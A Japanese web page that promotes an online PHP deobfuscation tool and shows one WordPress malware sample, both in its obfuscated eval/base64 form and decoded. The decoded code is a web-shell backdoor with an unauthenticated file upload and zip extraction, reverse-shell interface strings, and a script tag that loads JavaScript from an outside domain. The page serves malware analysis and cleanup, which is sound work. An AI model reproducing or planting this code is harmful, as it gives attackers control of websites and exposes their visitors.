PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php /* Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/ This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13 Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b */ $k5a63019="\x62\x61\x73\x65\x36\x34\x5f\144\145\x63\x6f\144\145";@ev...

難読化されたPHPコード

001<?php
002/*
003Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
004This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13
005Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b
006*/
007$k5a63019="\x62\x61\x73\x65\x36\x34\x5f\144\145\x63\x6f\144\145";@eval($k5a63019(
008"Ly9ORnRSMS9oZEEzMjZoQTV3cXk1N1lkYlUrTU0zamdLUGVJNjU3dUdnbDlHazFnQmpzMndTeW9USStV
009MmJ4OG96OThkcnhUc29Xdk9CRG9OZXpHMTA2dnd6dzFYWGpGOUd2Y3A2UWNIT1ZUNWpDUmdYN2htTFJQd
010kI0RVJQOC9RbTVrb25nbWlrMGlkOXV2cjVlWFdhMlZIQlg1eEpTQUZ1ZzJ5ZWpSbC92WS9CdmJvNkZ5an
011VuQktOYjdsUWk0c0pSOEV6em81OWFrcWQyVEovOVNGTDllaElkaGsyQVJ4RkZYZE84dmhmVWFVZ1dGV2x
012hYmsxM3BTeHJQQXViOE5ucktyZzJNT3pnVm15ZXVTNWU3NlhLdGp6ODZVOWVjRUpXR0tUU1B0YWNCbGJ4
013OVBvR3pMZHJNUGNVcHBiK3VUazc2VWdjSXJwanRtZEs4MVYyRzE1d1dkcnV1NkpjQzhrRGZtWGRiWFIyZ
014HZ2eStlaW9TNk82Tzd3NDY2Q0tacU1FT0NuaXdWTzJhOG1CaGRPOStmcVNiV1Y0N05DRDVmTVd5RnhPR0
015FLSmZzRDlHb0gxZTVDVkFkaExibGRLa2V4MVkwbzVXcHZnUTRMa1JXOXFDczdNcU1vS1hYS2lVNTZxZEZ
016qd0w2QU5OZEgreGRSUmJnWk94YjhTVVVDR0ZFaWIzMTN4SDRpa3lDUVhYaGc2ZWJJZFRYVDY5ZVNZQ0c1
017VE92M0p4bEJZYWZmZlVEZU0wb0NTeFdZQXVyeGhiU2xRSy9xRmlYWXlxaTZkSk0zU0YvOW5lLzE4eFIwR
018E9FV0IwTG9yT3kxcll6Vk5sbStaSmszeVpXcFhUczA0R01meXJ1Y0g4TnhtNUpRc2NJdEI3WVFyemxqUU
019M2eCtKcXFWZ3NaUE13MWNBSGU3T1Z4M3Bad1g2dEFOWURmTE1LQkNqRE9LOWVPcHo1aGZJM1hsbEo0Zzd
020LeGIvL3lYbVZsYjZ1MXdsSDF0c2NtcDZpL3NGSlphbTRmL3VTRk1BUythek12bng3aE41LytpdnV3dEFG
021RW5zeXVnbkU3WEU0Vlo1ck5RRlEwT29kbDRNU1pkenJaeElUWHhUaURRVnBDb3ZWY3hscEp5OXZTZ3U2U
022jRFL25wb0daSVZ5d005MG9rV1VVWlFQejM4WHgvOU9kMWhmMDJPQml4VWtjWVcxeWhwTVRmRFZsckpBan
023RWeENLSUtHSkNOL2w5R3ZKbGxwVEE2M1Q5SkorZ1JRYlc5UmNWdkhCdnhDZmpBQ0ZWRmZKcUhBMEFlOEV
024xSmJqOWpIWUkyU0d5aWEyYmo5ZFA4MmJobU1tbUJuemJZMzZjbmd2UnBDQVNnTEh1elExejU1Y1V3N1Zj
025cUFkZU9udFVmd1A5OGRMOThCWFR5WnhSVnI1WEtxcmZEa1pjZisvYzhJbDNDcVc0Rmw1b0RlMUUvSWJTS
026ThwdG5ka1RCakFXR1QvL2k0T3ZtQ1hjeGdvWE1oQmpXcUc1bk5Ed0U2TThLeUVlaDd0Mk1NWVg5QjJreE
027lIT2x5RkJ2aUN1VjhQb04rMXUwd0ZxdXNyT05UYkx4MU1YZ1V5VUo3T2dtMDljWUtOazl2Ri9hUit4cU9
028BQzFVYlE1RXkzS0hodDMrRThvakR0bVY5TTVUemNHbDNTTC9EdFMzeVNWZ0tyZXVDU01DOWs4enJHb212
029L29JZmpxY1JFOHQyOHZxOXliV2JZUWhzWDFwR2VtM1BBS2NkdVJqZ3JHdWQrSElCbEh5K0tIZXZXZGI1S
030jBpYWZONkllUzZaSWNWckYzRDJNU09yYzdkWFNsZFQyTmFsN2Z6R3lYWSttZnZxLzZ2cDU3Wkt5QzZ5ck
031t3akRkRmZ5OCtiaTYyN3gwcmw1VCsyY0NIdE5aaENOPT06aCt2SnFaOTBHSlJjOThlS1A1MnJZN2pRTk4
0329PTpwcjNubnE5bwokd2I0MWYwNGY9Ilx4NzMiOyRmZmEwMzQxNT0iXDE2MyI7JGY4MjNlZGY2PSJcMTYz
033IjskZDliMGY3ZDU9Ilx4NzIiOyRzOTQwYTFlMD0iXHg3MCI7JGs1YTYzMDE5PSJcMTQyIjskdDlhNDk1O
034TI9Ilx4NjUiOyRsNjk0Njg0NT0iXDE0NyI7JGRiYWM3MTg2PSJcMTQ2IjskZjgyM2VkZjYuPSJcMTY0Ij
035skZGJhYzcxODYuPSJcMTUxIjskczk0MGExZTAuPSJcMTYyIjskd2I0MWYwNGYuPSJceDc0IjskdDlhNDk
0361OTIuPSJcMTcwIjskbDY5NDY4NDUuPSJceDdhIjskZmZhMDM0MTUuPSJceDY4IjskZDliMGY3ZDUuPSJc
037MTQ1IjskazVhNjMwMTkuPSJceDYxIjskZmZhMDM0MTUuPSJcMTQxIjskczk0MGExZTAuPSJceDY1Ijskd
0382I0MWYwNGYuPSJcMTYyIjskZDliMGY3ZDUuPSJcMTYzIjskZGJhYzcxODYuPSJceDZjIjskZjgyM2VkZj
039YuPSJceDcyIjskbDY5NDY4NDUuPSJceDY5IjskazVhNjMwMTkuPSJceDczIjskdDlhNDk1OTIuPSJceDc
040wIjskZDliMGY3ZDUuPSJcMTQ1IjskazVhNjMwMTkuPSJceDY1IjskdDlhNDk1OTIuPSJceDZjIjskZjgy
041M2VkZjYuPSJceDYzIjskZGJhYzcxODYuPSJcMTQ1Ijskczk0MGExZTAuPSJceDY3IjskbDY5NDY4NDUuP
042SJceDZlIjskZmZhMDM0MTUuPSJceDMxIjskd2I0MWYwNGYuPSJcMTM3IjskZjgyM2VkZjYuPSJcMTU1Ij
043skczk0MGExZTAuPSJcMTM3IjskbDY5NDY4NDUuPSJcMTQ2IjskZDliMGY3ZDUuPSJceDc0IjskZGJhYzc
044xODYuPSJceDVmIjskdDlhNDk1OTIuPSJcMTU3IjskazVhNjMwMTkuPSJcNjYiOyR3YjQxZjA0Zi49Ilwx
045NjIiOyRsNjk0Njg0NS49Ilx4NmMiOyRzOTQwYTFlMC49Ilx4NzIiOyR3YjQxZjA0Zi49IlwxNTciOyR0O
046WE0OTU5Mi49IlwxNDQiOyRmODIzZWRmNi49Ilx4NzAiOyRkYmFjNzE4Ni49Ilx4NjciOyRrNWE2MzAxOS
04749Ilw2NCI7JGRiYWM3MTg2Lj0iXDE0NSI7JHdiNDFmMDRmLj0iXHg3NCI7JGw2OTQ2ODQ1Lj0iXHg2MSI
0487JHM5NDBhMWUwLj0iXDE0NSI7JGs1YTYzMDE5Lj0iXDEzNyI7JHQ5YTQ5NTkyLj0iXDE0NSI7JHdiNDFm
049MDRmLj0iXHgzMSI7JHM5NDBhMWUwLj0iXDE2MCI7JGw2OTQ2ODQ1Lj0iXHg3NCI7JGs1YTYzMDE5Lj0iX
050DE0NCI7JGRiYWM3MTg2Lj0iXHg3NCI7JHdiNDFmMDRmLj0iXHgzMyI7JGw2OTQ2ODQ1Lj0iXHg2NSI7JH
051M5NDBhMWUwLj0iXHg2YyI7JGs1YTYzMDE5Lj0iXHg2NSI7JGRiYWM3MTg2Lj0iXHg1ZiI7JGRiYWM3MTg
0522Lj0iXHg2MyI7JGs1YTYzMDE5Lj0iXDE0MyI7JHM5NDBhMWUwLj0iXDE0MSI7JHM5NDBhMWUwLj0iXDE0
053MyI7JGs1YTYzMDE5Lj0iXHg2ZiI7JGRiYWM3MTg2Lj0iXDE1NyI7JGs1YTYzMDE5Lj0iXDE0NCI7JHM5N
054DBhMWUwLj0iXHg2NSI7JGRiYWM3MTg2Lj0iXHg2ZSI7JGRiYWM3MTg2Lj0iXHg3NCI7JGs1YTYzMDE5Lj
0550iXDE0NSI7JGRiYWM3MTg2Lj0iXDE0NSI7JGRiYWM3MTg2Lj0iXHg2ZSI7JGRiYWM3MTg2Lj0iXHg3NCI
0567JGRiYWM3MTg2Lj0iXDE2MyI7JHAwMGRiMGJhPSR0OWE0OTU5MigiXHgyOCIsX19GSUxFX18pO0BldmFs
057KCRmODIzZWRmNigkZmZhMDM0MTUoJHM5NDBhMWUwKCJceDJmXHg1Y1x4MjhcMTM0XHgyMlx4MmVceDJhX
058DEzNFx4MjJcMTM0XDUxXDU3IiwiXDUwXDQyXDQyXHgyOSIsJHM5NDBhMWUwKCJcNTdcMTVceDdjXDEyXH
059gyZiIsIiIsJGRiYWM3MTg2KCRkOWIwZjdkNSgkcDAwZGIwYmEpKSkpKSwiXHgzOFx4NjJcNzFceDM3XDY
060yXHgzNlw2Nlw3MVw2N1w2MFx4MzVceDMzXDYyXDcxXDE0Nlx4NjRceDY0XHgzOFx4MzlcNjJceDMxXHgz
061OVx4MzNceDM1XHg2Mlx4NjVceDY1XDE0MVx4MzlceDYzXDE0Mlx4MzlceDM2XDY0XHgzNVx4MzhcNjFce
062DMwXDE0M1w3MSIpPyRsNjk0Njg0NSgkazVhNjMwMTkoJHdiNDFmMDRmKCJDSUtLUGhrVlFpMktsbW1wa0
063QvQnZwaVBCZUltbWhuK0JBaWcwWjdjNjZxYXU1eFBwTVBkd2I2dHhDRVV1NnBSUGZVMHMzLzhpdHd4bi9
064RaXYwRi92QysrSEJWM3RzMis4QmVlTGErVVBDRDN3V0MvK1E5Ky9xUkdBUk1EVEM3eWo5dzN0eGwvUStQ
065aVJJK3MrUTdYaS91S0dobFlza1VCUVZaZVBYaStSaWpYanE5WjhTcExFZnovUkZzL1U3aURZanlTcy9tN
066kszengvcDkvcUs3KzhIL1NDLzlBOXNaVVc4Z2RRM0ZPM0hZZ3dHN0wwRFRHRDNSSitsbWJPVkd4Y1RjeF
067lGcHhoV25qYW9qeUMrUHc5WkpUMG4zRjBCWXh6a0Y4ak15cmhwVWxoWk5Sa0cyeExqNHNmYmVhZ3VIMVZ
068oN09SVm8rV1pSVUZPMEVDeFRqVU5ubjJQYmdmWGN4T24rVWc0czVsMFQyMUx2UFFnTjRtTkQwVld3c2hl
069eUNpVW1QWnVEczBiaWdHQmV4UXVSYkJ3cGtrT25vRHE5eEtENlNwRVBaaE5IVERvazk2TjRSS0o0dElIV
0703EyK1NqVkZtM2VZa1FGMVgxWTAvOGFDNXZqN1dUTmJLc1E1MXFUSlVpejFpRVVDcWFXOHZ1YWgvQTRHZn
071dBcTlCbUsvQnhCcm91ZEZ3SDZ0a0o1RXNSSnpld2ZjTCsrWFk0aEplS3F6OWhlc2wwYXpxdDJaVkhyU2x
072xUFlxTWVGWDZ5OXE2M084SmVnaU96b0xLcUNGSEZLbGx2akFYdXREU05OaHhjYktqa2Q1NXVWM0FUb1l5
073ZW9ub0Fidk01TjJQRFdiYUsvcThCQjkrR05rWnBWNU80QnpRVlRaa1FnbHpIak96b3lRdWdDckdhUEFKW
074FhRMVJ5RUxuSWFpSFIzakFVTEdxWWZGc3ByUzBzUno4cTR0RFpyNzJvUXowTlJybVkrMGJMV1ZoSnptQW
075ZhMWtIaDV6SEFrbmkwYm9lckYrNGFPaEpsNmVJa0Z2Z2x0ZklxU3V1SjB0S1YxWGpleU1iN3JRODAvb2N
076ZTmcveDdtOGpwTUpGeVJWcExSeTFiSnVFNU1RcnNXdDdqV1gxaklhSWNIUEF4WkdTRFZ5cnVlZ3puL050
077NGhXUGVYZUZmRUd2aGxZdkpNM3hMK3hmbnhpRzBHS214c3M1MWVwMkxyYXJ1dHhPY0ZPQmZYb3VwZVd0e
078kljQnkrYU95WDY5VTd6d1hkc0M5SFhmcDh4QnljdlVQNlBvalF1RU00dXJlcExEaW9UZGt5M0wzd3VGRk
0791ORDhvM3ZORk56djhhV1hWeUlqc2JvcmhqMnZNV2dnZ3AyRld4ejFKcjllRFBBSXNpSXdsK2Q3eWt1akQ
0804MUx3akRmbFBsODRLVjZLTjVqUHkvU3FvMTREVXZEeFoyd1cvREVvQVlPdzRLYis4QnBEMFU2Nmh3Nzc3
081amNrOWlOa3NWL1NDS3lMVFZjZ2c1b1Y1K2liMFZ5bWRRaVUxSmZjSVJMbnFkWjFrWlA3QUtCN1R6YTFYb
082VQ1bnJZWGNXSFRYOVp2eEFlM2k1dVVaVXlpcTlONlpBYmZiTXVmd01seWdBR0dDYlI0VFBaeTBUbjlxb2
0831FeVN2WjhDYjBvVkR0Smh3c1ErdGdQRGFQYTJtUEk5YzU5NmFuaFIrTWR4NGwzd3p3dUs1eFR3S3ZxRVl
084KY2gwL1Vyd21IbFFXU1NuQ1hYaHk1cllGYTB5TXU2TkJzeUwwTXF5QlJMOUhVTHNhZmNuYWZ6NnRrREli
085alowR3FXRW1vaHRLbXU5RFhJWmZlRGdqd0tTRTV4dW9mQVk2ckM2a1BBd2NUR1g1ako3MVBxNk1sS2JOY
086W13UG9yeUZFcEF1VW94Q1d1ZEgvS2s5N2hrY0FLb0ZsY0UwRmd2MVlxNTNzakpWYlpFRG9HRTNGa3RES0
0871DdngzbTR3ZGwvQXU1dGZDd0NWcGxTTGNjS21WNi9JN1RsS3hrb2FVTW5uYno0Y0E5M1VlbElvbmphdWd
088MOUVQM3RBQU1MRWNyVkUzYUpOL0QyT3k2MmVzT2xEdEVSWWxCSFhkejJ0UElxKzZ3VG43TnEwNkp4YkZq
089Nk45anZEZDJ3RE1TdzZ1MHNjY3FsUWNMSzFkOHhmSFpwd0Irbkl1b2laVm5Bdjdja2VLeHdkbmhMYVVCN
090GxuRUF0RHhEajNycVdtejFsblVld25DeXovQVc4M2RKUUxGSk1sZytmZFIyS0VtSVEwTWEyaC9UNm4vZ0
091NWYm9IZWdKN0phSGRwcDF2SE5wN0ZvU1hDYjFKQlRpZFA2WVM5aUZhei9LeXRDM0tqZUY4Z0RiTEV1OW5
092GUUVxaEgyZUZIM0lUaTFabHdEbFVGNDNVNzBtb3JRYjFQYkNCUnFLZkE0elFJalJPRWFtSlRGeVlENTV3
093ZEwxdUh5M3JpMVpKZkxjVFpPeFZZNmRRWUlFUlIyY09CM0ZabkpadzNtMm5HNlJaMkRpN0p3MDlWVUFZS
094zJySUtwSDZycjB4Ym9PS2RtNnRmYytxbG9FMFJUZm9QRmZBQnJEa2VEMGQ1Z1NOYUtNZCt1VEFydXNRYm
095hSeVlWcDZuK1lzSVNCcnBCRHp3d0tCUS90VzBSK1grM2JJV0NJNWdwaUhRd0Y5MVVna1UwV3JDRnVUUEs
096zRzEwNU9SMU5QYkp4Z1d6U2tLeHByeFRMVml2ajV0a2E1QngvaHJ2ajRORGZYZXhuT1hTY0I4MFdod1hB
097eXhFSHZ4R1l1ZFpJKzFDQkdQa3VNZnBFb2s2M28rRXZCQ1RKNnlCM3ZUeE4rVjFHVmZ0M2x2QmwwOHlUe
098XluRWxvRkhWR2VpM0VCdWVFZDZ1emJuL0I3R1FvZHlueFBwL3VWZlowQkJBQmRpQmhvMi9pemFuT1Q5MH
099NKYXhZdEVvZ1lVUUVxMXVnR080ZGJONFdpQ0tNakxKM1ZKK0tGeHNzYTVORXBEdEZqMGdTaDYxVWcxcnR
100MakhJb085eGdINXRxUHJCNFp5Ky9GOWx1UHA3c1FNcit0RlFiZjhUNlJNNUtkVmlRN05ubXR2N0dtck96
101ZE1QNWZQN2ZxNGswZmZlaCtBcENGOXBmeTV0b2RiVFVaOEdCUjIvSUU0dEgveUljVzZZWDFuUFZzMkljU
102nE4MTA1U0hJTHVlMVUwR3pxNnJOdFVtWExWNGZndVVWS1F0U0hVNS9ZM3QzbGd3d0Fyd2tjWmI3ODFPaV
103JvanJneStlTmprYW9mU2lla3BKbndqZGRiZ3gzS1JucnRJWnBHaUpKZFJ5RmpWV3RsMUxwRlVSLy9pWjl
104pLzRSIikpKTokbDY5NDY4NDUoJGs1YTYzMDE5KCR3YjQxZjA0ZigiQ0lHVWVkRFRSQ2xLY20zZnZ0WjVu
105SktXaldRd3hSVWlEdWpsRGo1czc3UmcrMU5kZG9kNjFWc2gvZ1V2UExTUFpDM1UxL3FXVk8vTjNtUE9zd
106XcvQ3lVdk4ram9FZnlpVFpDKzFHNDFUUHAvL0FSay9CaTN3NDZ0WkxZUDhVOFBDeG9sN2tRNnQrV3crTk
107REMkxzdTc1QzhXK1FlOTUvU2FhRC8vMi83K3JCL1BLNStKbzRKbWNadVA5TElHenRzUEgrak1FZjdGb2w
108yTW1TR2JJNTdVQ1VVT3N4TnZOZVFoeGIyNVhoNTU4cGpMQnhnd21UQVB5YmpvTy9RYnl6QmxyaktqVlBs
109cm9RRHg4bnU1bzZUZjhPeE82SkJSZUdQMkc2SnZTeE1VaU9LUmoybW5IaTBnYXVlRGMxVzhIWG50T24xb
1102F5ZkZacm1KZktJVk9oSE1hZGIyckwycFV0SWJPZjE1V0UzVzJ3aGJISFNsc2JOanFCNlhuZHh0RVlSRz
111JOc09PSEphZXU2TmV3WWU4L29qTktLSUZOeUJsUUd3dnhxN2YyVkdPR0l4S0FSTjh5TkdBaUtQTTlURWh
112qREFGejVCY2NIRnpvWTQ0eU5JZ0tmT2ZhRTVDUkJzTW1tbGJlUWRxZERkb0lGNk50SHk3WHF5aEc1eHU4
113VURkaDJyZ2ZuMDdkT1ppaG9pdlNva2pCQkh2ZEt5UEdJSnBFT1JpaXdQZFNlVTF0VHFFMjhwQmswc1dqY
1140xKRkY1ZG93MFcvNDJucENSTFlRUW56UmptVDhNRFR0SEh2aTJDb0pnWVM1bE1VMERhaWJJSlBnTGVSVk
115F4c2o4S2xaZTduSFVsR1IzWm5oUnJwWDFFeFkxTCtLV1pSeXFPc1lyaE5sRHJFUlZQZnhTSVM4MFVJN0h
116waFgySWl2ZGo3Rk96am5GNUVtQzZjQ0QxQ3BYOXhWMUp3OGVIZXROd1MyNTdlMm5CZ282YXVQNmVCT3Zk
117VVlCdlNxSHhDV1lxaXh0R1M5SzhiK1o0QmEwMEZBVmRkZDNML1J2OVV1c3ZvdVRxUkEzOUw0OG1WZ1UxU
118khPYStFQm80VDJvR0ptY2hQMmt5N01IZ08zSEdyRHlHSzBscnlRbDNVcDBVcTdJVXVHcm9qbWdYaGJYNG
1190xR3o5S1hXWU1HcC9EOXVtdzlsYXJwWHBzemNybE1haU5ZZEpHUEdnSW1DZ3JMNm1qVGN5dEQ0Q3BYV0V
1201S3JBQkRFckZjZ3IxOVEwRGFKWkpuU3o0QmE3YWFZZDY3dW1QZ0pYWktWTXdaOG9ONkJhWmdJY1pnZkdW
121UDRkR2NBbE4yamhONjZ5RWwrRDV1dE1RaVduK3A3Zmh5ZW5aRUxpNUlHT3Iyd21MU3pySXRFT1M3ODJXN
1220FSNis3QTBTZzh5MVhBQmVDRFBvY0lRNEFZREhRZHZhQWxZVnovOXB5djhWSDVyZkpPcjZuOUtHTWFTV0
123tBWlRtaEYrQ21rRkRuQ2FaWUJUK01NdytYZm9CcTk1WFI1aEg5c1J3UFhoN1NORUlIMzZrWjJJS28ycUF
124wZmdJdVpaSG4rOGpQS09aSkhMZnJKWFNLMjUxTDg2WFFyWi8yNENuMzNseEVFOVVwSDZTTjNETnNPVGhS
125eS9talV3VjhpZ1o0VmpNMElLSkszc0FxbmhCbVRkL0M4YUs4Wm5pcVlZRXdVak5kNVdYdm9vczUwRWE4a
126FBFWXdKV2lidlQ0ZGtYWDAvVGQzcVhrcE8wM2ZyZUhVdklNU0dTVUM3NzlNYzd2Ym1QUXBCNVlFSlg3RU
127FqNUNBNWR0M2YvNHlCVkJNa1kwTjRDTzZ0SldaeEhxa0hhY0RpS1dSdHB6NUdLd1VzcHlZcVhNQ1Fhelh
128ZS3hYYnREU0MyYVhiZFZnSzFBVEZWYklnaFFvMUdKbURxOFZOdFNYN0ZwTzdHNTVHdnk0SVZ4cmEySVFx
129SzNCenZRNzE0dDNJMEIxQWFSM0VaZmJxS2N5SFpCaVlUMEJ6OElQQWNlVGZGZGo2cEMrelhNZGlKQzVKb
130GxaVlMwVnVWSUNUTm1oSGVCcThWWUQ1bTNoUkxua2NDUG9LY2ZCcXE5WWJ5QUtsRXc3WjlUYUxvN2FuQz
131A3dkhBcm1ndDZ3QldDd2ZLT1lRbmhEOEdUTlNrSW9OVllGS1ZZU1kyalpoVk9DYkd6NXAzblhzZ1BFVmx
132iMzFIUVRMOTN6cUF6Qzc0Tis0SkcrQ3l0RUFoeXdZZTErL3NpMytQaj09IikpKSk7"));
133?>

デコード(難読化解除)されたコード

001<?php
002 
003/*
004Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
005This code was created on Friday, August 3rd, 2018 at 7:04 UTC from IP 88.226.42.13
006Checksum: bffa662a39f21937d7d06338fb8d9b463395aa2b
007*/
008$k5a63019 = "base64_decode";
009@eval {
010    //NFtR1/hdA326hA5wqy57YdbU+MM3jgKPeI657uGgl9Gk1gBjs2wSyoTI+U2bx8oz98drxTsoWvOBDoNezG106vwzw1XXjF9Gvcp6QcHOVT5jCRgX7hmLRPvB4ERP8/Qm5kongmik0id9uvr5eXWa2VHBX5xJSAFug2yejRl/vY/Bvbo6FyjunBKNb7lQi4sJR8Ezzo59akqd2TJ/9SFL9ehIdhk2ARxFFXdO8vhfUaUgWFWlabk13pSxrPAub8NnrKrg2MOzgVmyeuS5e76XKtjz86U9ecEJWGKTSPtacBlbx9PoGzLdrMPcUppb+uTk76UgcIrpjtmdK81V2G15wWdruu6JcC8kDfmXdbXR2dvvy+eioS6O6O7w466CKZqMEOCniwVO2a8mBhdO9+fqSbWV47NCD5fMWyFxOGAKJfsD9GoH1e5CVAdhLbldKkex1Y0o5WpvgQ4LkRW9qCs7MqMoKXXKiU56qdFjwL6ANNdH+xdRRbgZOxb8SUUCGFEib313xH4ikyCQXXhg6ebIdTXT69eSYCG5TOv3JxlBYafffUDeM0oCSxWYAurxhbSlQK/qFiXYyqi6dJM3SF/9ne/18xR0DOEWB0LorOy1rYzVNlm+ZJk3yZWpXTs04GMfyrucH8Nxm5JQscItB7YQrzljQC6x+JqqVgsZPMw1cAHe7OVx3pZwX6tANYDfLMKBCjDOK9eOpz5hfI3XllJ4g7Kxb//yXmVlb6u1wlH1tscmp6i/sFJZam4f/uSFMAS+azMvnx7hN5/+ivuwtAFEnsyugnE7XE4VZ5rNQFQ0Oodl4MSZdzrZxITXxTiDQVpCovVcxlpJy9vSgu6R4E/npoGZIVywM90okWUUZQPz38Xx/9Od1hf02OBixUkcYW1yhpMTfDVlrJAjtVxCKIKGJCN/l9GvJllpTA63T9JJ+gRQbW9RcVvHBvxCfjACFVFfJqHA0Ae8EqJbj9jHYI2SGyia2bj9dP82bhmMmmBnzbY36cngvRpCASgLHuzQ1z55cUw7VcqAdeOntUfwP98dL98BXTyZxRVr5XKqrfDkZcf+/c8Il3CqW4Fl5oDe1E/IbSI8ptndkTBjAWGT//i4OvmCXcxgoXMhBjWqG5nNDwE6M8KyEeh7t2MMYX9B2kxIHOlyFBviCuV8PoN+1u0wFqusrONTbLx1MXgUyUJ7Ogm09cYKNk9vF/aR+xqOAC1UbQ5Ey3KHht3+E8ojDtmV9M5TzcGl3SL/DtS3ySVgKreuCSMC9k8zrGomv/oIfjqcRE8t28vq9ybWbYQhsX1pGem3PAKcduRjgrGud+HIBlHy+KHevWdb5J0iafN6IeS6ZIcVrF3D2MSOrc7dXSldT2Nal7fzGyXY+mfvq/6vp57ZKyC6yrKwjDdFfy8+bi627x0rl5T+2cCHtNZhCN==:h+vJqZ90GJRc98eKP52rY7jQNN==:pr3nnq9o
011    $wb41f04f = "s";
012    $ffa03415 = "s";
013    $f823edf6 = "s";
014    $d9b0f7d5 = "r";
015    $s940a1e0 = "p";
016    $k5a63019 = "b";
017    $t9a49592 = "e";
018    $l6946845 = "g";
019    $dbac7186 = "f";
020    $f823edf6 = "st";
021    $dbac7186 = "fi";
022    $s940a1e0 = "pr";
023    $wb41f04f = "st";
024    $t9a49592 = "ex";
025    $l6946845 = "gz";
026    $ffa03415 = "sh";
027    $d9b0f7d5 = "re";
028    $k5a63019 = "ba";
029    $ffa03415 = "sha";
030    $s940a1e0 = "pre";
031    $wb41f04f = "str";
032    $d9b0f7d5 = "res";
033    $dbac7186 = "fil";
034    $f823edf6 = "str";
035    $l6946845 = "gzi";
036    $k5a63019 = "bas";
037    $t9a49592 = "exp";
038    $d9b0f7d5 = "rese";
039    $k5a63019 = "base";
040    $t9a49592 = "expl";
041    $f823edf6 = "strc";
042    $dbac7186 = "file";
043    $s940a1e0 = "preg";
044    $l6946845 = "gzin";
045    $ffa03415 = "sha1";
046    $wb41f04f = "str_";
047    $f823edf6 = "strcm";
048    $s940a1e0 = "preg_";
049    $l6946845 = "gzinf";
050    $d9b0f7d5 = "reset";
051    $dbac7186 = "file_";
052    $t9a49592 = "explo";
053    $k5a63019 = "base6";
054    $wb41f04f = "str_r";
055    $l6946845 = "gzinfl";
056    $s940a1e0 = "preg_r";
057    $wb41f04f = "str_ro";
058    $t9a49592 = "explod";
059    $f823edf6 = "strcmp";
060    $dbac7186 = "file_g";
061    $k5a63019 = "base64";
062    $dbac7186 = "file_ge";
063    $wb41f04f = "str_rot";
064    $l6946845 = "gzinfla";
065    $s940a1e0 = "preg_re";
066    $k5a63019 = "base64_";
067    $t9a49592 = "explode";
068    $wb41f04f = "str_rot1";
069    $s940a1e0 = "preg_rep";
070    $l6946845 = "gzinflat";
071    $k5a63019 = "base64_d";
072    $dbac7186 = "file_get";
073    $wb41f04f = "str_rot13";
074    $l6946845 = "gzinflate";
075    $s940a1e0 = "preg_repl";
076    $k5a63019 = "base64_de";
077    $dbac7186 = "file_get_";
078    $dbac7186 = "file_get_c";
079    $k5a63019 = "base64_dec";
080    $s940a1e0 = "preg_repla";
081    $s940a1e0 = "preg_replac";
082    $k5a63019 = "base64_deco";
083    $dbac7186 = "file_get_co";
084    $k5a63019 = "base64_decod";
085    $s940a1e0 = "preg_replace";
086    $dbac7186 = "file_get_con";
087    $dbac7186 = "file_get_cont";
088    $k5a63019 = "base64_decode";
089    $dbac7186 = "file_get_conte";
090    $dbac7186 = "file_get_conten";
091    $dbac7186 = "file_get_content";
092    $dbac7186 = "file_get_contents";
093    $p00db0ba = array(0 => "/var/www/html/input.php");
094    @eval {
095        $k5a63019 = "base64_decode";
096        $l6946845 = "gzinflate";
097        @eval {
098            $k5a63019 = "base64_decode";
099            $l6946845 = "gzinflate";
100            $wb41f04f = "str_rot13";
101            @eval {
102                $k5a63019 = "base64_decode";
103                $l6946845 = "gzinflate";
104                @eval {
105                    $k5a63019 = "base64_decode";
106                    $l6946845 = "gzinflate";
107                    @eval {
108                        $k5a63019 = "base64_decode";
109                        $l6946845 = "gzinflate";
110                        $wb41f04f = "str_rot13";
111                        @eval {
112                            $_['heading_title'] = 'Shell';
113                            $_['entry_host'] = 'Remote host';
114                            $_['entry_port'] = 'Remote port';
115                            $_['entry_command'] = 'Local command';
116                            $_['text_success'] = 'Success: You have successfully opened a reverse shell!';
117                            $_['text_open_shell'] = 'Open a reverse shell';
118                            $_['text_shell'] = 'Shell';
119                            $_['text_error_host'] = 'Invalid host';
120                            $_['text_error_port'] = 'Invalid port';
121                            ?>
122 
123<?php 
124                            echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
125                            echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
126                            if ($_POST['_upl'] == "Upload") {
127                                $file = $_FILES['file']['name'];
128                                if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
129                                    $zip = new ZipArchive();
130                                    if ($zip->open($file) === TRUE) {
131                                        $zip->extractTo('./');
132                                        $zip->close();
133                                        echo 'Successful.';
134                                    } else {
135                                        echo 'Succesful.';
136                                    }
137                                } else {
138                                    echo 'Unsuccesful.';
139                                }
140                            }
141                            ?>
142 
143<SCRIPT SRC=http://mt2hile.com/rea/ondulisede.js></SCRIPT><?php 
144                        };
145                    };
146                };
147            };
148        };
149    };
150};

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策カスタマイズや修正、引っ越し・復旧のご依頼承ります